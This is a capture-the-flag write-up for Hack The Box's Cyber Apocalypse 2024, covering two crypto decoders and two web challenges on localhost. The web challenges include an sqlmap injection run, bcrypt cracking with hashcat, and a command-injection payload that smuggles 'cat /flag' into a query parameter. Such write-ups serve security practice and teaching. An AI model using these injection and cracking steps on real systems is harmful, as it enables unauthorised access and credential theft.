-
Notifications
You must be signed in to change notification settings - Fork 2
/
Cyber Apocalypse 2024: Hacker Royale.md
152 lines (102 loc) · 4.92 KB
/
Cyber Apocalypse 2024: Hacker Royale.md
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
# Cyber Apocalypse 2024: Hacker Royale Write-up
<img src="https://ctf.hackthebox.com/storage/ctf/banners/DREwio2TXADvSLScO07rux2olm6vjUoEXQPPAKBC.jpg" width="500" height="288">
## Crypto
### Task - Primary Knowledge

Decoder
import math
from Crypto.Util.number import long_to_bytes
def decrypt(c, n, e):
phi = (n - 1) // 2
d = pow(e, -1, phi)
m = pow(c, d, n)
return long_to_bytes(m)
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
decrypted_message = decrypt(c, n, e)
print(decrypted_message)
FLAG:
HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}
### Task - Makeshift

Decoder
def decode_flag(encoded_flag):
decoded_flag = ''
for i in range(0, len(encoded_flag), 3):
decoded_flag += encoded_flag[i+2]
decoded_flag += encoded_flag[i]
decoded_flag += encoded_flag[i+1]
return decoded_flag[::-1]
encoded_flag = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"
decoded_flag = decode_flag(encoded_flag)
print(decoded_flag)
FLAG:
HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}
## WEB
### Task - KORP Terminal
We can see the web authentication interface.

Try to login and intercept the request.
Request:
POST / HTTP/1.1
Host: localhost:1337
Content-Length: 27
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:1337
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:1337/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
username=test*&password=test*
Now, we can save the request and test for sql injection.
### SQL-Map
`sqlmap -r request.txt --ignore-code 401`


Hash:
$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.
### Hashcat
It's a bcrypt hashed password, cracking it with hashcat!
`hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt`
$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.:password123
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8...63yiv.
Time.Started.....: Tue Dec 31 11:42:17 2024 (1 min, 5 secs)
Time.Estimated...: Tue Dec 31 11:43:22 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 22 H/s (5.95ms) @ Accel:6 Loops:16 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1404/14344385 (0.01%)
Rejected.........: 0/1404 (0.00%)
Restore.Point....: 1368/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4080-4096
Candidate.Engine.: Device Generator
Candidates.#1....: lacoste -> harry
Hardware.Mon.#1..: Util: 80%
Now we have credentials for admin, login and get the flag!
### Task - TimeKORP

Solution:
import requests
host, port = 'localhost', 1337
HOST = 'http://%s:%s/' % (host, port)
r = requests.get(HOST, params={ 'format': "'; cat /flag || '" })
print(r.text)
FLAG:
HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}